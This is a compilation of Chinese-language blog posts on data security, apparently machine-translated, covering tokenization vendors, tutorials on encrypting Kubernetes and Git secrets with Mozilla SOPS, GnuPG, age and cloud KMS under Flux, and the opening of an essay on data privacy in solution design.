使用标记化的数据需要从远程服务中对其进行去标记和检索。这会给流程带来事务时间的少量增加,在大多数情况下可以忽略不计。
此外,采用标记化并不意味着支付网关完全没有风险,特别是当第三方必须访问信息时。
在这种情况下,组织必须监控第三方在其端部具有完全安全的系统。使用标记化信息需要对其进行去标记化并从远程服务中恢复。事务时间延迟并产生问题。
简而言之,
- 可能无法处理大型组织使用的所有数据;
- 可能不适用于应用程序和处理技术。
因此,您必须权衡您的选择,并与正确的数据产品平台协作。此时,您应该围绕关键空白构建清晰性,以填充数据景观。
顶级标记化平台
顶级数据标记化产品公司
鉴于对高级数据标记化的需求快速增长,服务提供商数量大幅增加。除IBM等高端IT巨头外,我们发现以下三家公司正在通过其创新方法增加价值。它们中的每一个都填补了现有数据架构中的空白。还有更多。
1) K2View
K2VIEW因其独特的数据结构和标记化架构而广受欢迎。结构首次成功实现了微数据库的概念。在这里,基础设施将业务合作伙伴数据存储在一个小型数据库中。这些微数据库中的每一个都只保存特定业务合作伙伴的数据,而fabric维护着数百万个数据。
数据管理产品提供了广泛的其他服务,如网格、数据编排、集成等。该公司采用数据产品方法,提供最安全、可扩展和运营效率最高的数据标记化解决方案。该系统工作在一个中央机制上,用于操作和分析工作负载的标记化和去标记化。
2) TokenEx
ToeknEX为客户提供企业级令牌化服务,并在访问、存储和保护数据的方式上提供无限的数字灵活性。他们的团队与各种数据处理渠道和最新技术无缝协作,帮助您提供资产标记化服务。它致力于将代币化标准化,作为监管和行业合规的一种手段。它们因服务于BFSI行业而受欢迎,尤其是在支付网关/集成模块上工作的产品。
3) Imperva
Imperva是一家数据管理咨询公司,提供一系列用于屏蔽原始数据的加密技术的产品/服务。该公司的代币化服务非常专注于跨本地系统、云系统或混合环境的端到端数据安全。Imperva以其网络安全服务而闻名,使各组织能够透明地查看其通过垂直渠道访问、持有、使用和传输的数据。
本文:
- 96 次浏览
【数据安全】使用 SOPS 保护您的服务器凭据
视频号
微信公众号
知识星球
在我们的团队中,有多个人处理Kubernets中的生产环境。对于每项服务,我们都会维护一个单独的Kubernets秘密文件。问题是,每当一个秘密值发生变化时,就很难在维护人员之间进行分配,也很难跟踪变化。我们可以维护git-reo来解决这个问题,但将DB凭据存储到普通文件中是有风险的。这里有一个方便的SOPS,Mozilla广泛使用它来保守他们的秘密。SOPS的基本概念非常简单,通过使用SOPS,您可以使用所有维护者的公共加密密钥来加密您的秘密文件。然后将加密的文件存储在git存储库中。每当你或你的团队成员需要实际的文件时,只需使用SOPS解密文件。SOPS最好的部分是它可以识别文件类型,只加密值而不是密钥。由于它只对值进行加密,git历史记录可以指出哪些密钥值被更改了。SOPS支持多种加密机制,但在本文中,我只关注gpg密钥。
GnuPG安装
正如我提到的,我将只关注gpg密钥加密,你需要在你的系统中安装GnuPG来生成gpg密钥。你可以使用二进制安装程序安装GnuPG,我更喜欢使用Homebrew,
>>> brew install gnupg2
现在您要生成您的gpg密钥,在运行以下命令后,您将被要求输入您的姓名和电子邮件地址。如果您的所有信息都可以,请按“O”并点击回车键,控制台会要求您设置一个可选的密码,如果您不想设置密码,请按OK。
>>> gpg --generate-key gpg (GnuPG) 2.2.15; Copyright (C) 2019 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.Note: Use "gpg --full-generate-key" for a full featured key generation dialog.GnuPG needs to construct a user ID to identify your key.Real name: Mr. x Email address: mr.x@email.com You selected this USER-ID: "Mr. x <mr.x@email.com>"Change (N)ame, (E)mail, or (O)kay/(Q)uit? O We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key 411F71D23B22E116 marked as ultimately trusted gpg: revocation certificate stored as '/Users/rana/.gnupg/openpgp-revocs.d/0AB19F525F991CC847F744CA411F71D23B22E116.rev' public and secret key created and signed.pub rsa2048 2019-05-17 [SC] [expires: 2021-05-16] 0AB19F525F991CC847F744CA411F71D23B22E116 uid Mr. x <mr.x@email.com> sub rsa2048 2019-05-17 [E] [expires: 2021-05-16]
您已经生成了密钥和指纹(0AB19F525F991CC847F744CA411F71D23B22E116),现在将您的公钥注册到公钥服务器,例如http://keyserver.ubuntu.com/。 为此,只需导出您的公钥并将其粘贴到密钥服务器的大盒子中,然后按提交即可。 要导出您的公钥,请运行以下命令
>>> gpg --armor --export mr.x@email.com -----BEGIN PGP PUBLIC KEY BLOCK-----mQENBFzeQjABCACpKlgNWMQJolFZhs5gqeyWevYJ7QtPsF4LpX3AHxJSRBcYCZk9 pYaMCxCcU8tDRxgYpVace90DcP6MnyddKq0L+948fWpjZUqSlE/BByitkdhY834z 8noXyky+GLJ+5YJgEBwGK7mF32B1yFga057wK7p+8ziGsQ3Ib4nDCiVfbD5suiGa FpwWMxU/15Tx+2i+6TZKmwtCR3bIPuYa0x0P0nQphAKD1LrSMjUu3BEgv4abrl1x W9iFEKtk3jcfwWYCvFOHB0BuwFnTqqkmm+YJP+J6Qf6PTl/Z0N0YLFMDyWv347W+ l2UwIvxYpUSvrPhegzLUzhXfBubZ/bCXzuodABEBAAG0Fk1yLiB4IDxtci54QGVt YWlsLmNvbT6JAVQEEwEIAD4WIQQKsZ9SX5kcyEf3RMpBH3HSOyLhFgUCXN5CMAIb AwUJA8JnAAULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRBBH3HSOyLhFrJRCACg rwsNYYvgrr4LRntxXdYrP32Hg23G4w6mWCngk0kHH7djCSzSeVRcPPPG+rkUN+xt QAIKuCnrAx4wH+lgINJ1BGf8CeAFPVRwNMxyB0OfU1ersTlOoPd0JubFWx647nuq RBh6cpjyPP4T/JUGmqzYlHTJU3UlKu7zWdvrqnh0DInqkB7n/TmJrULLIJOXJxXD fKCHC6nOQ52A7NhZMjn8jTFdtwEAvoih2H5jwrJ+/6srDnTZ8Hv5FunHxgeNS5LH /JjDSk2Z5FF1+BwSdN6BQdiRLC6607qRGnnYY2QDaiixwDyZF73xbbeeVgA+HP7F 9+Fsc/y+VjCVAVcp1gFbuQENBFzeQjABCADDeHfFyYQkILPk12Vf/PXF753uBup5 z1IYjGAf9TjwwdGq/VeS+4pTIYjTVU51+SEF2ezv7o+ml8kSQwU3ZoysPFE0pi6O huG/mo4oB7vv9wKZXf5OUjaKJXCVL05/GjHaRnFr/uJC9Rv7p6Nbyafr8ZBFzimu X08Df+HuFuLpENcctfDW9GKmxMwE9pTYMciAGcg0a5F29CISJEQdaX4hCYxF10RD 7BadXxf+l2GF8P1rLL8Cps2vM5QL4IhXlkvSX9gi+Hyg/DgL56RwAA18kYaQTMop HrxawWxYmCv//2N4xZuvUKNghoh52gmDuPUbbBvFXBfsgs9a9fd1DGJTABEBAAGJ ATwEGAEIACYWIQQKsZ9SX5kcyEf3RMpBH3HSOyLhFgUCXN5CMAIbDAUJA8JnAAAK CRBBH3HSOyLhFhzuB/0aB5IRnFMN6DZjLZbU+SeviI++AwsS3pBSZcCGAG4wm00H 0GbXv6ag8EGnACEpiRQ+bjMw5iySYAZZ1CJlRGT2xdupy9KWQIUp8p0tHpjHnwRv jxkk+6omW/SA/Apg/WJHVOYm9Csv2wyAtGw1ykV62gzbEcg5396Xlgqtb26tFTfP tJx7HRBntl8cL7BKqONox1rIs9SIlZ3yjb2nDmFk1X2W8uP+VnRsqX5v/6FcPHZL LtY+6/Yc133q3YuBo2NzrOttCIvxcw8EgApmxcTcM5bZsyNI12vdksOYN9zwxomW buccuqGEXERbq+Op1NU7/c5nSM9fR6Efq7K5UZLl =PYP/ -----END PGP PUBLIC KEY BLOCK-----
SOPS安装
对于sop的安装,Golang是先决条件。请确保您已经安装了Golang。所以就跑吧
>>>go get-u go.mozilla.org/sops/cmd/sops
如果Golang bin路径没有安装您的路径变量,您将无法全局访问sops二进制文件。要全局访问sops二进制文件,您可以使用路径变量装载Golang bin路径,或者只需将sop二进制文件复制到系统bin文件夹中。现在您必须设置一些环境变量。打开您的shell配置文件(在我的例子中是.zshrc)并导出以下变量
export SOPS_GPG_EXEC=“GPG” export SOPS_PGP_FP=“15EAB6D9F4D4C305B78E3388FDCAF78DECEB84EB” export SOPS_GPG_KEYSERVER=“KEYSERVER.ubuntu.com”
SOPS_GPG_EXEC是GPG二进制文件。SOPS_PGP_FP是一个以逗号分隔的方式列出的指纹列表,为您添加所有团队成员的指纹,以便您访问您的机密。SOPS_GPG_KEYSERVER用于指向您和您的团队成员已注册公钥的密钥服务器。
使用SOPS
假设我们有一个“secrets-dec.yaml”文件,其中包含非常重要的密钥foo和超机密值栏
要加密,请运行以下命令
>>> sops -e secrets-dec.yaml > secrets-enc.yaml >>> cat secrets-enc.yaml foo: ENC[AES256_GCM,data:lLNm,iv:quQDpvEezvAv7vu8D8KOzXl2pbTLbhtCG5E6UwJwXk4=,tag:q0kuoGQraWWYxhVkbnwU6g==,type:str] sops: kms: [] gcp_kms: [] azure_kv: [] lastmodified: '2019-05-17T05:56:21Z' mac: ENC[AES256_GCM,data:Jku7XHp9qM6SiY0QmqzjG+n285nLWcaceEmLA3B2A7OcnMqTpT8Vz7U8ibrzVBfHKsaZGvbKgA+S7bYI27aUfOGJP0n5FcQrWmMi09dUxVElXefjp57O7zmS2IqcRQfOHn9EdUM3QUN0dr35fYAE+7NlaXe4WQ3o2OjpfMSsLN0=,iv:vcwVusEkNAx+UHqbYJ3LdKcqGDvfWNaCH49jbcwcXbg=,tag:bVlxYilnU+NCNKeBF/QLbQ==,type:str] pgp: - created_at: '2019-05-17T05:55:16Z' enc: | -----BEGIN PGP MESSAGE-----hQEMA5Z1h+jahM/SAQf8CnoK+jJ4kfGA7BiP0XftoRnTZgzGh0haChY/nI2J3yAd o5P4BmQBlm9xgxHg4QOUVSmwBRZ87lK/cgrrm+nXCMUZRtdxY/WBY3ELKNIy5A6M Pw4V4l5R+o6Z6up7JwLqbrDXjO1Ll48NdQBLGGb6cnXB5OskHbbHKKEtligBaPHE harHh1vlp4z7L6RPv5+IqZK8waX8ENG1RSODyK6Hj04qyUOT3pq8qZ71PSw+q7Rv ciPeV5SwXfAZ8QTGYa8m3T/pdYOxlwEjT5Xr7Dqy2wzzp9w3IES4XYhMPxbFS1rQ 6Zp+YBQUrKyU+efzxcVcBUL4+nsqWqn2dk5SKfrX2NJeAf3GO2UHagi3f2aix5xQ OVD2aDe0z9f29/imx6EqlgbU3mQrqL0AgZcHiJRRGr4VOpeG5KBRs8wtNEJYHh2v NpUbuUfq1cace+7nRcXKzf7VTfSpPDR8Apa/fWGeYA== =1Z6N -----END PGP MESSAGE----- fp: 15EAB6D9F4D4C305B78E3388FDCAF78DECEB84EB unencrypted_suffix: _unencrypted version: 3.3.0
sop最棒的地方是,它只会加密你的价值观。因此,如果您更改任何值,git-diff可以向您显示更改的键。每当您需要解密文件时,只需运行以下命令
>>> sops -d secrets-enc.yaml > secrets-dec.yaml >>> cat secrets-dec.yaml foo: bar
所以这是基本的sops去扔。sop有一些很棒的功能,要了解更多关于sop的信息,请阅读他们的完整文档。
小贴士
您可以维护一个约定,即每个未加密的文件都将以“-dec”结尾
加密后的文件将以“-enc”结尾,然后将以下模式添加到.gitignore文件中
*-dec.{your file extension}
- 10 次浏览
【数据安全】使用Mozilla SOPS管理Kubernetes机密
视频号
微信公众号
知识星球
为了将机密安全存储在公共或私人Git存储库中,您可以使用Mozilla的SOPS CLI通过OpenPGP、AWS KMS、GCP KMS和Azure Key Vault加密Kubernetes机密。
先决条件
要遵循本指南,您需要一个安装了GitOps工具包控制器的Kubernetes集群。请参阅入门指南或安装指南。
安装gnupg和SOPS:
brew install gnupg sops
生成GPG密钥
生成不带密码短语的GPG/OpenPGP密钥(%no-protection):
export KEY_NAME="cluster0.yourdomain.com"
export KEY_COMMENT="flux secrets"
gpg --batch --full-generate-key <<EOF
%no-protection
Key-Type: 1
Key-Length: 4096
Subkey-Type: 1
Subkey-Length: 4096
Expire-Date: 0
Name-Comment: ${KEY_COMMENT}
Name-Real: ${KEY_NAME}
EOF
上面的配置创建了一个不会过期的rsa4096密钥。有关要为您的环境考虑的选项的完整列表, see Unattended GPG key generation.
检索GPG密钥指纹(sec列的第二行):
gpg --list-secret-keys "${KEY_NAME}"
sec rsa4096 2020-09-06 [SC]
1F3D1CED2F865F5E59CA564553241F147E7C5FA4
将密钥指纹存储为环境变量:
export KEY_FP=1F3D1CED2F865F5E59CA564553241F147E7C5FA4
Export the public and private keypair from your local GPG keyring and create a Kubernetes secret named sops-gpg
in the flux-system
namespace:
gpg --export-secret-keys --armor "${KEY_FP}" |
kubectl create secret generic sops-gpg \
--namespace=flux-system \
--from-file=sops.asc=/dev/stdin
最好使用密码管理器或离线存储来备份此密钥/K8s secret。还要考虑从您的计算机中删除机密解密密钥:
gpg --delete-secret-keys "${KEY_FP}"
配置群集中机密解密
在集群上注册Git存储库:
flux create source git my-secrets \
--url=https://github.com/my-org/my-secrets \
--branch=main
创建一个kustomization来协调集群上的机密:
flux create kustomization my-secrets \
--source=my-secrets \
--path=./clusters/cluster0 \
--prune=true \
--interval=10m \
--decryption-provider=sops \
--decryption-secret=sops-gpg
Note that the sops-gpg
can contain more than one key, SOPS will try to decrypt the secrets by iterating over all the private keys until it finds one that works.
Optional: Export the public key into the Git directory
Commit the public key to the repository so that team members who clone the repo can encrypt new files:
gpg --export --armor "${KEY_FP}" > ./clusters/cluster0/.sops.pub.asc
Check the file contents to ensure it’s the public key before adding it to the repo and committing.
git add ./clusters/cluster0/.sops.pub.asc
git commit -am 'Share GPG public key for secrets generation'
Team members can then import this key when they pull the Git repository:
gpg --import ./clusters/cluster0/.sops.pub.asc
The public key is sufficient for creating brand new files. The secret key is required for decrypting and editing existing files because SOPS computes a MAC on all values. When using solely the public key to add or remove a field, the whole file should be deleted and recreated.
Configure the Git directory for encryption
Write a SOPS config file to the specific cluster or namespace directory used to store encrypted objects with this particular GPG key’s fingerprint.
cat <<EOF > ./clusters/cluster0/.sops.yaml
creation_rules:
- path_regex: .*.yaml
encrypted_regex: ^(data|stringData)$
pgp: ${KEY_FP}
EOF
This config applies recursively to all sub-directories. Multiple directories can use separate SOPS configs. Contributors using the sops
CLI to create and encrypt files won’t have to worry about specifying the proper key for the target cluster or namespace.
encrypted_regex
helps encrypt the data
and stringData
fields for Secrets. You may wish to add other fields if you are encrypting other types of Objects.
Hint
Note that you should encrypt only the data
or stringData
section. Encrypting the Kubernetes secret metadata, kind or apiVersion is not supported by kustomize-controller.
Encrypting secrets using OpenPGP
Generate a Kubernetes secret manifest with kubectl:
kubectl -n default create secret generic basic-auth \
--from-literal=user=admin \
--from-literal=password=change-me \
--dry-run=client \
-o yaml > basic-auth.yaml
Encrypt the secret with SOPS using your GPG key:
sops --encrypt --in-place basic-auth.yaml
You can now commit the encrypted secret to your Git repository.
Hint
Note that you shouldn’t apply the encrypted secrets onto the cluster with kubectl. SOPS encrypted secrets are designed to be consumed by kustomize-controller.
Encrypting secrets using age
age is a simple, modern alternative to OpenPGP. It’s recommended to use age over OpenPGP, if possible.
Encrypting with age follows the same workflow than PGP.
Generate an age key with age using age-keygen
:
$ age-keygen -o age.agekey
Public key: age1helqcqsh9464r8chnwc2fzj8uv7vr5ntnsft0tn45v2xtz0hpfwq98cmsg
Create a secret with the age private key, the key name must end with .agekey
to be detected as an age key:
cat age.agekey |
kubectl create secret generic sops-age \
--namespace=flux-system \
--from-file=age.agekey=/dev/stdin
Use sops
and the age public key to encrypt a Kubernetes secret:
sops --age=age1helqcqsh9464r8chnwc2fzj8uv7vr5ntnsft0tn45v2xtz0hpfwq98cmsg \
--encrypt --encrypted-regex '^(data|stringData)$' --in-place basic-auth.yaml
And finally set the decryption secret in the Flux Kustomization to sops-age
.
Encrypting secrets using HashiCorp Vault
HashiCorp Vault is an identity-based secrets and encryption management system.
Encrypting with HashiCorp Vault follows the same workflow as PGP & Age.
Export the VAULT_ADDR
and VAULT_TOKEN
environment variables to your shell, then use sops
to encrypt a Kubernetes Secret (see HashiCorp Vault for more details on enabling the transit backend and sops).
Then use sops
to encrypt a Kubernetes Secret:
export VAULT_ADDR=https://vault.example.com:8200
export VAULT_TOKEN=my-token
sops --hc-vault-transit $VAULT_ADDR/v1/sops/keys/my-encryption-key --encrypt \
--encrypted-regex '^(data|stringData)$' --in-place basic-auth.yaml
Create a secret the vault token, the key name must be sops.vault-token
to be detected as a vault token:
echo $VAULT_TOKEN |
kubectl create secret generic sops-hcvault \
--namespace=flux-system \
--from-file=sops.vault-token=/dev/stdin
And finally set the decryption secret in the Flux Kustomization to sops-hcvault
.
Encrypting secrets using various cloud providers
When using AWS/GCP KMS, you don’t have to include the gpg secretRef
under spec.provider
(you can skip the --decryption-secret
flag when running flux create kustomization
), instead you’ll have to bind an IAM Role with access to the KMS keys to the kustomize-controller
service account of the flux-system
namespace for kustomize-controller to be able to fetch keys from KMS.
AWS
Enabled the IAM OIDC provider on your EKS cluster:
eksctl utils associate-iam-oidc-provider --cluster=<clusterName>
Create an IAM Role with access to AWS KMS e.g.:
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"kms:Decrypt",
"kms:DescribeKey"
],
"Effect": "Allow",
"Resource": "arn:aws:kms:eu-west-1:XXXXX209540:key/4f581f5b-7f78-45e9-a543-83a7022e8105"
}
]
}
Hint
The above policy represents the minimal permissions needed for the controller to be able to decrypt secrets. Policies for users/clients who are meant to be encrypting and managing secrets will additionally require the kms:Encrypt
, kms:ReEncrypt*
and kms:GenerateDataKey*
actions.
Bind the IAM role to the kustomize-controller
service account:
eksctl create iamserviceaccount \
--role-only \
--name=kustomize-controller \
--namespace=flux-system \
--attach-policy-arn=<policyARN> \
--cluster=<clusterName>
Annotate the kustomize-controller service account with the role ARN:
kubectl -n flux-system annotate serviceaccount kustomize-controller \
--field-manager=flux-client-side-apply \
eks.amazonaws.com/role-arn='arn:aws:iam::<ACCOUNT_ID>:role/<KMS-ROLE-NAME>'
Restart kustomize-controller for the binding to take effect:
kubectl -n flux-system rollout restart deployment/kustomize-controller
Bootstrap
Note that when using flux bootstrap
you can set the annotation to take effect at install time.
Azure
When using Azure Key Vault you need to authenticate kustomize-controller either with aad-pod-identity or by passing Service Principal credentials as environment variables.
Create the Azure Key-Vault:
export VAULT_NAME="fluxcd-$(uuidgen | tr -d - | head -c 16)"
export KEY_NAME="sops-cluster0"
export RESOURCE_GROUP=<AKS-RESOURCE-GROUP>
az keyvault create --name "${VAULT_NAME}" -g ${RESOURCE_GROUP}
az keyvault key create --name "${KEY_NAME}" \
--vault-name "${VAULT_NAME}" \
--protection software \
--ops encrypt decrypt
az keyvault key show --name "${KEY_NAME}" \
--vault-name "${VAULT_NAME}" \
--query key.kid
If using AAD Pod-Identity, Create an identity within Azure that has permission to access Key Vault:
export IDENTITY_NAME="sops-akv-decryptor"
# Create an identity in Azure and assign it a role to access Key Vault (note: the identity's resourceGroup should match the desired Key Vault):
az identity create -n ${IDENTITY_NAME} -g ${RESOURCE_GROUP}
az role assignment create --role "Key Vault Crypto User" --assignee-object-id "$(az identity show -n ${IDENTITY_NAME} -o tsv --query principalId -g ${RESOURCE_GROUP})"
# Fetch the clientID and resourceID to configure the AzureIdentity spec below:
export IDENTITY_CLIENT_ID="$(az identity show -n ${IDENTITY_NAME} -g ${RESOURCE_GROUP} -otsv --query clientId)"
export IDENTITY_RESOURCE_ID="$(az identity show -n ${IDENTITY_NAME} -g ${RESOURCE_GROUP} -otsv --query id)"
Create a Keyvault access policy so that the identity can perform operations on Key Vault keys/
export IDENTITY_ID="$(az identity show -g ${RESOURCE_GROUP} -n ${IDENTITY_NAME} -otsv --query principalId)"
az keyvault set-policy --name ${VAULT_NAME} --object-id ${IDENTITY_ID} --key-permissions decrypt
Create an AzureIdentity
object that references the identity created above:
---
apiVersion: aadpodidentity.k8s.io/v1
kind: AzureIdentity
metadata:
name: ${IDENTITY_NAME} # kustomize-controller label will match this name
namespace: flux-system
spec:
clientID: ${IDENTITY_CLIENT_ID}
resourceID: ${IDENTITY_RESOURCE_ID}
type: 0 # user-managed identity
Create an AzureIdentityBinding
object that binds pods with a specific selector with the AzureIdentity
created above.
apiVersion: "aadpodidentity.k8s.io/v1"
kind: AzureIdentityBinding
metadata:
name: ${IDENTITY_NAME}-binding
namespace: flux-system
spec:
azureIdentity: ${IDENTITY_NAME}
selector: ${IDENTITY_NAME}
Customize your Flux Manifests so that kustomize-controller has the proper credentials. Patch the kustomize-controller Pod template so that the label matches the AzureIdentity
selector. Additionally, the SOPS specific environment variable AZURE_AUTH_METHOD=msi
to activate the proper auth method within kustomize-controller.
apiVersion: apps/v1
kind: Deployment
metadata:
name: kustomize-controller
namespace: flux-system
spec:
template:
metadata:
labels:
aadpodidbinding: ${IDENTITY_NAME} # match the AzureIdentity name
spec:
containers:
- name: manager
env:
- name: AZURE_AUTH_METHOD
value: msi
Alternatively, if using a Service Principal stored in a K8s Secret, patch the Pod’s envFrom to reference the AZURE_TENANT_ID
/AZURE_CLIENT_ID
/AZURE_CLIENT_SECRET
fields from your Secret.
apiVersion: apps/v1
kind: Deployment
metadata:
name: kustomize-controller
namespace: flux-system
spec:
template:
spec:
containers:
- name: manager
envFrom:
- secretRef:
name: sops-akv-decryptor-service-principal
At this point, kustomize-controller is now authorized to decrypt values in SOPS encrypted files from your Sources via the related Key Vault.
See Mozilla’s guide to Encrypting Using Azure Key Vault to get started committing encrypted files to your Git Repository or other Sources.
Google Cloud
Workload Identity has to be enabled on the cluster and on the node pools.
Terraform
If you like to use terraform instead of gcloud, you will need the following resources from the hashicorp/google
provider:
- create GCP service account: “google_service_account”
- add role KMS encrypter/decrypter: “google_project_iam_member”
- bind GCP SA to Flux kustomize-controller SA: “google_service_account_iam_binding”
- Create a GCP service account with the role Cloud KMS CryptoKey Encrypter/Decrypter.
gcloud iam service-accounts create <SERVICE_ACCOUNT_ID> \
--description="DESCRIPTION" \
--display-name="DISPLAY_NAME"
gcloud projects add-iam-policy-binding <PROJECT_ID> \
--member="serviceAccount:<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/cloudkms.cryptoKeyEncrypterDecrypter"
- Create an IAM policy binding between the GCP service account and the kustomize-controller Kubernetes service account of the flux-system.
gcloud iam service-accounts add-iam-policy-binding \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<PROJECT_ID>.svc.id.goog[<K8S_NAMESPACE>/<KSA_NAME>]" \
SERVICE_ACCOUNT_ID@PROJECT_ID.iam.gserviceaccount.com
For a GCP project named total-mayhem-123456
with a configured GCP service account flux-gcp
and assuming that Flux runs in the (default) namespace flux-system
, this would translate to the following:
gcloud iam service-accounts add-iam-policy-binding \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:total-mayhem-123456.svc.id.goog[flux-system/kustomize-controller]" \
flux-gcp@total-mayhem-123456.iam.gserviceaccount.com
- Customize your Flux Manifests and patch the kustomize-controller service account with the proper annotation so that Workload Identity knows the relationship between the gcp service account and the k8s service account.
### add this patch to annotate service account if you are using Workload identity
patchesStrategicMerge:
- |-
apiVersion: v1
kind: ServiceAccount
metadata:
name: kustomize-controller
namespace: flux-system
annotations:
iam.gke.io/gcp-service-account: <SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
If you didn’t bootstap Flux, you can use this instead
kubectl annotate serviceaccount kustomize-controller \
--field-manager=flux-client-side-apply \
--namespace flux-system \
iam.gke.io/gcp-service-account=<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
Bootstrap
Note that when using flux bootstrap
you can set the annotation to take effect at install time.
GitOps workflow
A cluster admin should create the Kubernetes secret with the PGP keys on each cluster and add the GitRepository/Kustomization manifests to the fleet repository.
Git repository manifest:
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
name: my-secrets
namespace: flux-system
spec:
interval: 1m
url: https://github.com/my-org/my-secrets
Kustomization manifest:
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: my-secrets
namespace: flux-system
spec:
interval: 10m0s
sourceRef:
kind: GitRepository
name: my-secrets
path: ./
prune: true
decryption:
provider: sops
secretRef:
name: sops-gpg
Hint
You can generate the above manifests using flux create <kind> --export > manifest.yaml
.
Assuming a team member wants to deploy an application that needs to connect to a database using a username and password, they’ll be doing the following:
- create a Kubernetes Secret manifest locally with the db credentials e.g.
db-auth.yaml
- encrypt the secret
data
field with sops - create a Kubernetes Deployment manifest for the app e.g.
app-deployment.yaml
- add the Secret to the Deployment manifest as a volume mount or env var
- commit the manifests
db-auth.yaml
andapp-deployment.yaml
to a Git repository that’s being synced by the GitOps toolkit controllers
Once the manifests have been pushed to the Git repository, the following happens:
- source-controller pulls the changes from Git
- kustomize-controller loads the GPG keys from the
sops-pgp
secret - kustomize-controller decrypts the Kubernetes secrets with SOPS and applies them on the cluster
- kubelet creates the pods and mounts the secret as a volume or env variable inside the app container
- 11 次浏览
【数据安全】使用SOPS管理Git中的秘密-常见操作
视频号
微信公众号
知识星球
用SOPS管理Git中的秘密(5部分系列)
- 使用SOPS在Git中管理您的秘密
- 使用SOPS管理Git中的秘密-常见操作
- 使用SOPS和GitLab CI在Git中管理您的秘密🦊
- 使用Kubernetes的SOPS在Git中管理您的秘密☸️
- 使用Kuectl&Kustomize的SOPS在Git中管理您的秘密🔧
我们在上一篇文章中看到了如何使用SOPS在Git中存储我们的秘密。在这里,我们将看到使用SOPS时需要的一些常见操作。
编辑机密
Alice想更改dev_asecret中的值。为此,她可以使用sops dev_a.encrypted.env命令打开$EDITOR并允许就地更改。
place changes.
After the edition, the secret is encrypted back, and she can commit the file in Git.
向其他人添加秘密访问权限
Alice
would like to let Bobby
read the dev_a
secret. To do that, she will use sops --rotate --in-place --add-pgp <bobby-key-id> dev_a.encrypted.env
command.
After this modification, Bobby
can fetch modifications. He is now able to read (and modify) the secret.
删除对其他人的秘密访问
Alice
now wants to remove Bobby
access to dev_a
secret. She is able to do this by using the sops --rotate --in-place --rm-pgp <bobby-key-id> dev_a.encrypted.env
.
After this, Bobby
is unable to decrypt the secret anymore.
配置自动钥匙选择
Like we saw before, sops
commands often requires references to key-id
of people concerned by the modification... and this is error prone and hard to manage if you share access with a lot of people.
To simplify this, the team can create a file, named .sops.yaml
and placed it in the root of our Git repository.
creation_rules:
# Specific to `dev_a` env
- path_regex: dev_a\.encrypted\.env$
# Here, only the `Alice` key-id
pgp: >-
5844C613B763F4374BAB2D2FC735658AB38BF93A
# Specific to `int` env
- path_regex: int\.encrypted\.env$
# Here, we have :
# * `Alice` key-id: 5844C613B763F4374BAB2D2FC735658AB38BF93A
# * `Bobby` key-id: AE0D6FD0242FF896BE1E376B62E1E77388753B8E
# * `Devon` key-id: 57E6DA39E907744429FB07871141FE9F63986243
pgp: >-
5844C613B763F4374BAB2D2FC735658AB38BF93A,
AE0D6FD0242FF896BE1E376B62E1E77388753B8E,
57E6DA39E907744429FB07871141FE9F63986243
# Specific for new env `dev_a_and_b`
- path_regex: dev_a_and_b\.encrypted.env$
# Here, we have only `Alice` and `Bobby` :
# * `Alice` key-id: 5844C613B763F4374BAB2D2FC735658AB38BF93A
# * `Bobby` key-id: AE0D6FD0242FF896BE1E376B62E1E77388753B8E
pgp: >-
5844C613B763F4374BAB2D2FC735658AB38BF93A,
AE0D6FD0242FF896BE1E376B62E1E77388753B8E
Here, Bobby
will create a new secret for dev_a_and_b
env just with the command sops dev_a_and_b.encrypted.env
. No more --pgp <key-id>
, sops
automatically selects the closest .sops.yaml
file from the CWD
(see this).
Keys are selected by matching a regex
againt the path of the file, so possibilities are wide and this is simpler than using parameters in command line !
添加或删除访问权限 .sops.yaml
If a .sops.yaml
file is used, Alice
can simplify the add-pgp
or rm-pgp
command previously seen. She just need to change the .sops.yaml
and use the command sops updatekeys dev_a.encrypted.env
to update who can decrypt the file.
结论
Those are the most common operations required to use sops
in your project. This is simple and still helps you to keep your secrets in sync with your code !
You can find the source code of this article, files, and scripts in this GitLab repository.
- 13 次浏览
【数据安全】保护数据隐私 - 解决方案架构师的义务
数据隐私失败
过去几年出现了一个转折点,即人们越来越意识到组织如何使用他们的数据以及掌握个人数据所带来的责任。
最近的例子
在公司保护数据隐私的一些重大缺陷之后:
- Equifax Data Breach One Year Later
- Marriott Breach Exposes More Than Data
- Cathay Pacific faces probe over massive data breach
这些违规行为导致公众对个人数据的重要性和价值的认识不断提高。各国政府也注意到个人数据泄露事件的影响越来越大,并且已经引入了诸如GDPR和强制性数据泄露通知法等立法。
政府和公民都在越来越多地质疑公司如何收集,使用(和滥用)人们的数据。
设计数据隐私
适当的隐私和安全控制的义务也扩展到解决方案架构师和设计师。收集或消费个人数据的解决方案需要考虑并包含适当的保护措施以保护个人隐私。
在设计解决方案时,我们遵循功能性和非功能性要求,技术前景和组织路线图。数据隐私不应该被方便地划分,省略或作为非功能性要求的事后考虑。解决方案架构师需要将数据隐私的影响视为解决方案设计的关键基础。 MVP解决方案仍然需要提供足够的安全控制,因为维护数据隐私应始终位于MVP范围内。
解决方案架构师可以发挥作用,确保解决方案所有者了解并考虑投资保护用户数据隐私的解决方案的必要性。采用安全的设计方法越来越重要。
基础
从解决方案的角度来看,大多数解决方案都会关注传统的控制方法:
- 对用户进行身份验证,希望使用比用户名,密码更强大的功能,即多因素,密码强度检查
- 验证集成端点和集成安全策略的应用
- 保护飞行和休息时的数据
- 记录用户事件和数据更改。
